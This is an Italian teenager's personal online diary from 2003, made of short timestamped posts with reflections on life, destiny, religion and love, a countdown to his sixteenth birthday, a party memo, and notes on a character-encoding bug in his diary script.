Mon, 25 Aug 2003 03:14:43 +0000

Ora e’ giusta!!

[diario]

Mon, 25 Aug 2003 02:36:36 +0000

C’e’ pure l’ora sbagliata!

[diario]

Mon, 25 Aug 2003 02:35:58 +0000

E si passa sempre piu’ tempo, eppure in qualche modo cerco di tenermi a galla in questo mondo anche se e’ sempre piu’ difficile, io continuo a dire di essere sempre piu’ stanco e abbattuto, eppure qualcosa mi tiene vivo, sara’ l’orgoglio oppure la paura, oppure il semplice fatto che non posso permettere a nessuno di prendere la mia vita e giocarci (destino, no oggi no).

Sono stanco di tutto dalla prima all’ultima cosa le giornato stentano ad avere senso, forse e’ proprio la parte creativa e meno razzionale che quando viene a galla da senso a cio’ che mi circonda per quanto puo’! [Leo]

[diario]

Mon, 28 Jul 2003 00:23:18 +0000

E gia…

[diario]

Mon, 14 Jul 2003 17:40:43 +0000

Hummm… il mondo gira sempre piu’ in un modo strano, non si capisce piu’ niente… [Leo]

[diario]

Sat, 12 Jul 2003 23:31:33 +0000

E si ora funziona tutto…. [Leo]

[diario]

Sat, 12 Jul 2003 23:30:40 +0000

put

[diario]

Mon, 02 Jun 2003 20:23:49 +0000

Ora come ora c’e’ solo una cosa di cui non ho la convinzione ma e’ neccessaria la fiducia in me stesso, e un pochino negli altri, anche se e’ dura me ne rendo conto solo ora, sembra quasi che piu’ cose riesci a capire e piu’ cose ti rimangono da capire. [Leo]

[diario]

Mon, 02 Jun 2003 20:21:28 +0000

A volte e’ difficile pensare che siamo qui senza uno scopo o allo scopo di fare qualcosa. Lo so, sono ripetitivo ma… ho la testa che non c’e’l a fa piu’…

[diario]

Mon, 02 Jun 2003 20:16:19 +0000

Io non capisco perche’ continuo a torturarmi con queste domande sulla vita, e’ una cosa inutile io stesso dico che certe domande vanna tralasciate ma ci ricado sempre… [Leo]

[diario]

Mon, 02 Jun 2003 20:12:46 +0000

Il quesito piu’ grande della vita e’ la vita stessa! [Leo]

[diario]

Sun, 25 May 2003 21:10:13 +0000

La cara e vecchia parola, che leggendo le cose che ho gia’ scritto mi fa venire alla mente dei ricordi terribili. Ma in fondo cosa siamo qui a fare? Penso che la religione dia una risposta a queste domande ma soffoca la “liberta’” di pensare in un modo diverso se ci credi bene se no cazzi tuoi, e’ proprio cosi’ perche’ se non ci credi non ci puoi fare niente e niente puo’ cambiare le cose a meno che non ti metti con la tua testa e ti cerchi le risposte da solo. [Leo]

[diario]

Sun, 25 May 2003 21:06:03 +0000

Destino!?

[diario]

Sun, 25 May 2003 21:01:04 +0000

..Cosa ho visto e cosa ho pensato!

Dopo tanto che non andavo in chiesa oggi ho assistito ad una messa (cattolica) come spettatore e non come credente, la cosa mi ha lasciato molto perplesso, e mi rendo conto che la mia razionalita’ stenta a capire alcune cose, non volgio fare quello che rompe e vuole per forza imorre la mia idea al mondo pero’ il mio gudizio e’ quello e mi viene da chiedere: “Ma in cosa credi e perche’ e come rispondi ad alcune domande” mi sembra tutto assurdo e senzza senso ma queste cose sono solo la ripezione di concetti che sono sempre i soliti.

I ricordi, sono un po’ l’argomento del giorno visto che ad Arco c’era il ritrovo degli ex-alunni delle scuole PadreMonti, ho notato che vivendo di ricordi si muore, invece si deve Vivere per poi ricordare, ma qui entra la nota precendente che in qualche modo e’ legata a questo modo di vedere i ricordi. [Leo]

[diario]

Sun, 25 May 2003 20:51:02 +0000

E’ brutto veder crollare quello in cui si crede solo perche’ ti viene messo davanti agli occhi un punto di vista diverso dal tuo. (Riferito hai film che ho guardato ultimamente) Sembra che al mondo si debba fare qualcosa di importante per essere in qualche modo ricordati, solo che e’ difficile spiegarsi questa cosa, forse si prova questo solo perche’ non si ha abbastanza autostima oppure non ci si sente abbastanza considerati dalle persone che ci circondano. Ora sono in macchina che torno da Arco di Trento, oggi non mi sentivo cosi\’ da tanto tempo, sia per quello che ho visto sia per quello che ho pensato… [Leo]

[diario]

Mon, 19 May 2003 00:24:09 +0000

Quello che mi tiene ancora qui e’ una grande voglia di vivere, che viene messa ogni giorno a dura prova ma resisto. [Leo]

[diario]

Mon, 19 May 2003 00:19:31 +0000

Heaven…

[diario]

Sun, 18 May 2003 23:47:16 +0000

“Angeli dell’era lisergica che bruciano per l’antica e celestiale connessione alla dinamo stellata nel meccanismo della notte”

Ginsberg…

[diario]

Sun, 18 May 2003 21:37:10 +0000

Speravo di non dirlo ma in fondo l’utopia e’ utopia il sogno e’ il sogno e la realta’… Non trovo le parole per descrivere questo momento sento di essere un errore o semplicemente il risultato della conformazione biologica del cervello umano.

[diario]

Sun, 18 May 2003 12:53:45 +0000

[Old] Piangere, piangere, piagere… Non trovo altro che immensa solitudine anche se la voglia di lottare e’ tanta e questo un po’ cambia le cose. Ma quanto? [Leo]

[diario]

Sun, 18 May 2003 12:51:42 +0000

[Old] Ho la testa che fra un po’ ha bisogno di un nodo cluster per andare se no si inceppa (kernel panic) [Leo]

[diario]

Sun, 18 May 2003 12:50:36 +0000

Puoi fregare una macchina quanto vuoi, ma non un\‘altra persona.\r \nChe fregatura.\r \n[Leo]

[diario]

Sun, 18 May 2003 12:38:54 +0000

Tutto nasce da un’idea… [Leo]

[diario]

Fri, 16 May 2003 18:10:31 +0000

Tanto tempo si, proprio tanto tempo e’ passato ma non importa l’importante e’ non abbandonarsi a se stessi. Ho tante cose sa scrivere lo faro’… Il tempo non e’ niente, in confronto a quello che siamo [Leo]

[diario]

Thu, 01 May 2003 13:46:07 +0000

A199FEC4-3BEE2E0F-DABB2217-26C0C297\r \n87593C53-9A77D0CB-E1550C18-FC7BE080

[diario]

Thu, 01 May 2003 13:43:20 +0000

B7563BB9-83D0C123-CDD46613-62C4A502\r \nD5929EBB-3486FA9A-4E04A730-AF10C311

[diario]

Tue, 29 Apr 2003 22:15:53 +0000

Uffi

[diario]

Tue, 29 Apr 2003 22:03:18 +0000

Anzi non fa l’apostrofo

[diario]

Tue, 29 Apr 2003 22:02:52 +0000

I’m with you!!!

[diario]

Tue, 29 Apr 2003 22:02:13 +0000

Devo correre ai ripari

[diario]

Tue, 29 Apr 2003 22:00:31 +0000

non fa la e accentata

[diario]

Tue, 29 Apr 2003 21:59:51 +0000

Oh cazzo ho scoperto un bug in questo scprit, proprio oggi leggevo di codifiche unicode e standard iso, e ora mi si creano problemi con gli accenti e il database.

[diario]

Tue, 29 Apr 2003 21:57:16 +0000

Sonno stanchezza ma dopotutto la felicita’ e’ anche questa no?!

[diario]

Tue, 29 Apr 2003 21:55:33 +0000

Non si vive di ricordi, ma si vive per ricordare in un certo senso

[diario]

Thu, 24 Apr 2003 17:28:57 +0000

Be ieri parlavo di destino cosa che ripetero’ al’infinito: “NON CI CREDO” be metaforicamente si puo’ definire una strada anzi no forse meglio una penna che traccia una linea su una superficie, certo piu’ linee si possono incontrare ma non si possono ostacolare, il casino viene piu’ che altro quando un linea si intreccia con se stessa, potrebbe chiamarsi autismo perche’ no. [Leo]

[diario]

Thu, 24 Apr 2003 17:20:08 +0000

Scrivere, scrivere, scrivere, scrivere un modo per comunicare magari solo con se stessi. [Leo]

[diario]

Thu, 24 Apr 2003 17:19:03 +0000

Per richiamere quello che ho scritto ieri sera penso sia piu’ degradante accontentarsi senza lottare piu’ che subire quello che succede nel mondo. Dopotutto abbiamo il potere di cambiare, si cambiare una parola che a volte spaventa ma e’ la parola che ha portato avanti il mondo fino ad adesso insieme ad “evoluzione” e piu’ drasticamente “rivoluzione” [Leo]

[diario]

Thu, 24 Apr 2003 17:15:17 +0000

Molti si chiedono perche’ di una cosa o di un’altra ma sono convito che ci si debba chiedere “perche’ no” puo’ sembrare simile ma le risposte a questa domanda sono piu’ curiose e hanno una motivazione migliore (in genere). A volte pero’ non bisogna chiedersi niente che e’ molto meglio. ricordo una frase che dico spesso: “perche’ tutto deve avere un perche?!” [Leo]

[diario]

Thu, 24 Apr 2003 00:57:53 +0000

Buona Notte

[diario]

Thu, 24 Apr 2003 00:57:31 +0000

Io gestisco la mia vita e nessuno mi puo’ e non potra’ mai convicermi del contrario. Il destino non esiste o melgio lo facciamo esistere noi con quello che facciamo. [Leo]

[diario]

Thu, 24 Apr 2003 00:56:45 +0000

E’ degrandante vedere alcune cose, vedere di come alcune persone si lascinano andare e non combattano piu’ per la loro vita lasciando che il tempo trascorra… in ogni caso sono convinto che ne valga la pena combattere per tanto o poco vale sempre la pena non perdere niente. Allora perche’ sto qui a scrivere queste cose……….. [Leo]

[diario]

Mon, 21 Apr 2003 22:17:18 +0000

Non si dovrebbe dubitare mai di quello che si fa ma inevitabilemente alla minima cosa cadono le certezze poi alla e poi si finisci col dire: “per cosi’ poco? Tanto funziona!” e se non fosse sempre cosi’ allora dubitare e’ un passo verso che aiuta a migliorarsi! [Leo]

[diario]

Mon, 21 Apr 2003 22:08:18 +0000

A volte l’unica cosa che ho voglia di fare e’ piangere… Si perche’ mi guardo intorno e vedo un sacco di cose che non vorrei fossere cosi’, per fortuna esistono anche cose in cui ti puoi rifugiare senza dover necessariamente scappare. Non so ma credo in qualche modo di essere innamorato. Mi comporto in modo strano (piu’ del solito perche’ mi comporto sempre in modo strano) e poi non so basta poco (…cut…). Ora sta solo a me fare il resto, il destino non esiste nulla c’e’ solo perche’ ci deve essere, tutto a un motivo. Come no… in queste mille contraddizioni ho paura solo perche’ non esiste razionalita’ in alcune cose non esiste controllo tutto e’ conseguenza di cio’ che non si pensa e’ un po’ come mischiare l’istinto con qualcosa di matematico: non sai mai cosa puo’ succedere. [Leo]

[diario]

Sun, 20 Apr 2003 12:21:03 +0000

Quando ho chiesto il perche’ della penna mi e’ stato detto “Bhe’, veramente la penna non aveva un significato particolare.. Mi andava di regalartela.” io all’inizio non capivo ma poi pensandoci e’ proprio come dico io bisogna fare quello che si vuole vivere ogni momento come se fosse unico in un certo senso fare cio che si vuole. Quasi come se fosse un film. [Leo]

[diario]

Sun, 20 Apr 2003 12:15:24 +0000

Memo Festa

I presenti erano: Giuliano, Eleni, Isa, Claudia, Matteo G., Greta, Elisa, IO. Regali: Porta CD, Peluche (volpe), due libri, una penna, tre vinili. Iniziata alle 5 - 5:30 Finita alle 12:00 circa.

[diario]

Sun, 20 Apr 2003 12:10:53 +0000

Comunicare, comunicare, comunicare, comunicare!! magari anche solo con se stessi ma ti fa rendere conti di cosa veramente si pensa. [Leo]

[diario]

Sun, 20 Apr 2003 12:08:23 +0000

Be visto che la sera del 18 non avevo le facolta’ di intendere e di volere (forse neache adesso le ho ma non importa) devo fare alcune considerazioni:

E’ stato divertente e sono abbastanza felice di aver rincontrato e aver riallacciato i rapporti con persone di cui non me lo aspettavo proprio. Per il resto si e’ fatto un casino tale che ci ho capito veramente poco ma come ripeto spesso e’ questo il bello della vita’. Che dire dopo circa 6 anni che non facevo una festa devo dire che i risultati sono stati ottimi.

Ora chi mi fertma piu’< [Leo]

[diario]

Sun, 20 Apr 2003 12:00:55 +0000

Questi sono i pensieri della sera!

(Anche se a quest’ora non si direbbe)

[diario]

Sun, 20 Apr 2003 11:58:41 +0000

Non ho mai amato la mia vita al punto di odiarla. (pensato in un momento negativo potrebbe essere presa male questa cosa ma ora come ora no anzi penso sia una delle cose piu’ belle non aver paura di quello che succede anche se non si ha il controllo, e questo che rende divertente e interessante ogni giorno della nostra vita) [Leo]

[diario]

Sun, 20 Apr 2003 11:55:27 +0000

Si puo’ amare una persona al punto di odiarla oppure odiare una persona al punto di amarla. Amore < = > Odio Per certi versi sono la stessa cosa. [Leo]

[diario]

Sun, 20 Apr 2003 11:53:49 +0000

Toglietemi tutto ma non la possibilita’ di comunicare. [Leo]

[diario]

Sun, 20 Apr 2003 11:53:36 +0000

Tutto passa ma nulla mi impedisce di pensare. [Leo]

[diario]

Sun, 20 Apr 2003 11:52:32 +0000

Il sole e’ la vita della terra, l’amore e’ la vita dell’uomo [Qualcuno lo ha detto]

[diario]

Fri, 18 Apr 2003 01:00:15 +0000

Sono convinto che quando si crede in qualcosa niente e nessuno puo’ toglierti le tue convinzioni, per cui se credo di esistere io esisto. [Leo]

[diario]

Fri, 18 Apr 2003 00:03:46 +0000

Il tempo scorre e passa gia 3 minuti sono storia

[diario]

Fri, 18 Apr 2003 00:01:32 +0000

Un bacio proibito brucia piu’ del fuoco. La frase a 0 Giorni 0 Ore 0 Minuti 0 Secondi Esattamente 16 anni fa nascevo (+/- 4 ore) Controllando un po’ di piu’ ~6 e 30 minuti [Leo]

[diario]

Thu, 17 Apr 2003 23:59:31 +0000

Meno di un minuto

[diario]

Thu, 17 Apr 2003 23:58:23 +0000

95 Secondi

[diario]

Thu, 17 Apr 2003 23:58:20 +0000

1 Minuto

[diario]

Thu, 17 Apr 2003 23:56:37 +0000

239 Secondi 3 Minuti

[diario]

Thu, 17 Apr 2003 23:55:51 +0000

299 Secondi

[diario]

Thu, 17 Apr 2003 23:55:04 +0000

4 Minuti

[diario]

Thu, 17 Apr 2003 23:54:01 +0000

358 Secondi

[diario]

Thu, 17 Apr 2003 23:53:31 +0000

7 Minuti

[diario]

Thu, 17 Apr 2003 23:53:20 +0000

8 Minuti

[diario]

Thu, 17 Apr 2003 23:51:46 +0000

9 Minuti

[diario]

Thu, 17 Apr 2003 23:50:00 +0000

10 Minuti

[diario]

Thu, 17 Apr 2003 23:49:56 +0000

11 Minuti

[diario]

Thu, 17 Apr 2003 23:48:02 +0000

Il disastro La Festa Il Mondo

[diario]

Thu, 17 Apr 2003 23:43:14 +0000

16 Minuti

[diario]

Thu, 17 Apr 2003 23:34:56 +0000

E con questo…. Io ho messo 20 minuti a fare sta cazzata un macchina ci impiega pochi millesimi, ma resta sempre e comunque una macchina e in qualche modo la freghi sempre. (e che cazzo) [Leo]

[diario]

Thu, 17 Apr 2003 23:31:45 +0000

+—-+——————-+———–+———————+ | id | Uomo | Macchina | Animale | +—-+——————-+———–+———————+ | 1 | !?Intelligente!? | Stupida | Istintivo | | | Istintivo | | | +—-+——————-+———–+———————+ | 2 | Lento | Veloce | Entrambi | +—-+——————-+———–+———————+ | 3 | Creativo/Logico | Logica | ???????? | +—-+——————-+———–+———————+ | 4 | Creatore | Esegutore | Fa i fatti suoi | +—-+——————-+———–+———————+ | 5 | Tutto | Niente | Fanno la loro parte | +—-+——————-+———–+———————+ | 6 | Vive | NO | Vive | +—-+——————-+———–+———————+ | 7 | Si evolve da solo | NO | Si evolve | +—-+——————-+———–+———————+

[diario]

Thu, 17 Apr 2003 23:04:30 +0000

Mi demoralizzo troppo in fretta, caspita non e’ giusto. Tra 57 minuti e’ il mio compleanno dovrei essere felice (lo sono) ma non so quando non riesco a far andare una cosa divento nervoso. [Leo]

[diario]

Thu, 17 Apr 2003 22:57:10 +0000

Si all’inizio ma di cosa?!
[Leo]

[diario]

Tue, 15 Apr 2003 23:42:30 +0000

Quando credi che sia tutto finito ti accorgi che sei solo all’inizio.
[Leo]

[diario]

Mon, 14 Apr 2003 16:34:55 +0000

Il sapere e’ del mondo..

[diario]

Mon, 07 Apr 2003 15:14:48 +0000

News script successfully set up. Ho ufficialmente aperto il mio diario… [Leo]